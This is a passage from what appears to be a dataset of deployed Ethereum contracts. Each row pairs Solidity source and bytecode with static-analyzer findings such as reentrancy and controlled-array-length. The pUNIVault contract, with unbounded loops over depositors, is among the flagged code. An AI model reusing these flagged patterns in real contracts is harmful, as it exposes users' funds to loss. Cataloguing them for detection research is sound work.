ffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561274f57600080fd5b5af1151561275c57600080fd5b505050604051805190505b15610d9257600160a060020a0382166000908152600b602052604090205461278f9082612b6d565b600160a060020a0383166000908152600b602052604090819020919091557f9bc0edc04558e16448c0601508fdc1d24850bfb6123399cd5b88777aea4b1d46908390839051600160a060020a03909216825260208201526040908101905180910390a1505050565b600e6020526000908152604090205460ff1681565b600080612817611b74565b9050670853a0d2313c000081106128415761283a8167016345785d8a0000612b6d565b915061284d565b670853a0d2313c000091505b5090565b600d6020526000908152604090205481565b60025433600160a060020a039081169116148061288e575060015433600160a060020a039081169116145b151561289657fe5b601054600160a060020a0316639dc29fac838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156128ec57600080fd5b5af115156128f957600080fd5b505050604051805190501561123557600160a060020a03821660009081526012602052604090205461292b9082612b07565b600160a060020a0383166000908152601260205260409020555050565b601054600160a060020a031681565b60025433600160a060020a0390811691161480612982575060015433600160a060020a039081169116145b151561298a57fe5b6003547501000000000000000000000000000000000000000000900460ff16156129d1576003805474ff000000000000000000000000000000000000000019169055611505565b6003805482151560a060020a0274ff00000000000000000000000000000000000000001990911617905550565b60035460a060020a900460ff1681565b600854600160a060020a031681565b60145481565b600160a060020a0381166000908152600b60205260408120548190819015611dbc575060009050805b600f54811015612a7d57612a73826118d0611d116116c688600f8781548110151561190757fe5b9150600101612a4c565b611db5612a9283670de0b6b3a7640000612b1e565b600160a060020a0386166000908152600b6020526040902054612b4c565b60015433600160a060020a03908116911614612ac857fe5b60018054600160a060020a031916600160a060020a0392909216919091179055565b6000612af582612226565b612aff5733612b01565b815b92915050565b60008082841015612b1757600080fd5b5050900390565b6000828202831580612b3a5750828482811515612b3757fe5b04145b1515612b4557600080fd5b9392505050565b6000808211612b5a57600080fd5b8183811515612b6557fe5b049392505050565b6000828201838110801590612b3a575082811015612b4557600080fd5b600080600080600080612ba36112e78a6112e28b610d9d565b600160a060020a03808c166000908152600c60209081526040808320938d16835292905220549095509350612bdb6112e78589612b1e565b9250612be78484612b6d565b8510612d7257612c06612bfd6116c68686612b6d565b6116e88a610d9d565b91507f6845940b5d385ddd8dccd32f8ecfa579f74efa6c1ca32e81fe928485cfb92c018289612c358787612b6d565b604051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a1612c6a8983612b07565b600160a060020a03808c166000908152600c60209081526040808320938d16835292905290812055601154909950612cba906118d0612cb186670de0b6b3a7640000612b1e565b6116e88c610d9d565b601155601054600160a060020a0316639dc29fac898660405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612d1357600080fd5b5af11515612d2057600080fd5b505050604051805190501515612d6d57600160a060020a038816600090815260126020526040902054612d539085612b6d565b600160a060020a0389166000908152601260205260409020555b612ee5565b612d7f6112e78a89612b1e565b9250612d8d60115484612b6d565b601155612da96112e7612da08b86612b07565b6112e28b610d9d565b9050612db58482612b07565b600160a060020a03808c166000908152600c60209081526040808320938d168352929052819020919091557f6845940b5d385ddd8dccd32f8ecfa579f74efa6c1ca32e81fe928485cfb92c01908a908a90849051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a160105460009950600160a060020a0316639dc29fac898360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515612e8b57600080fd5b5af11515612e9857600080fd5b505050604051805190501515612ee557600160a060020a038816600090815260126020526040902054612ecb9082612b6d565b600160a060020a0389166000908152601260205260409020555b509698975050505050505050565b600160a060020a0381166000908152600b602052604081205481612f226112e78367016345785d8a0000612b1e565b9050612f39600a5468056bc75e2d63100000612b6d565b8211612f4757819250611dc1565b600a54811015612f5b57600a549250611dc1565b600954811115612f6f576009549250611dc1565b809250611dc1565b828054828255906000526020600020908101928215612fce579160200282015b82811115612fce5782518254600160a060020a031916600160a060020a039190911617825560209290920191600190910190612f97565b5061284d929150613025565b815481835581811511610d9257600083815260209020610d9291810190830161304c565b60606040519081016040526003815b600081526020019060019003908161300d5790505090565b61304991905b8082111561284d578054600160a060020a031916815560010161302b565b90565b61304991905b8082111561284d57600081556001016130525600a165627a7a72305820a99575bf4f9d535d5541fa3cb8cfaf427d274027ed120218f267af66ce3cba600029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,769 |
0x35e9866bb7f13ebafea8ce557faf7d79f6a06ddf
|
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pUNIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x071E6194403942E8b38fd057B7Cf8871Bd525090; // Vault12 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073071e6194403942e8b38fd057b7cf8871bd525090906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820f918c4d16b191522c59d3b5ff1ba2c8b4fcc75e23e54f01a7d3275c3387097a964736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,770 |
0x68913e212a306664fcBc565210E8031058f42011
|
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => bool) public Limtcheck;
uint256 public maxWalletBal =1000000000e18;
constructor () public {
_name = 'Scavenger';
_symbol = 'CONDOR';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
if(!Limtcheck[to]){ require(_balances[to].add(value) <= maxWalletBal,"Wallet Limit Exceed"); }
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
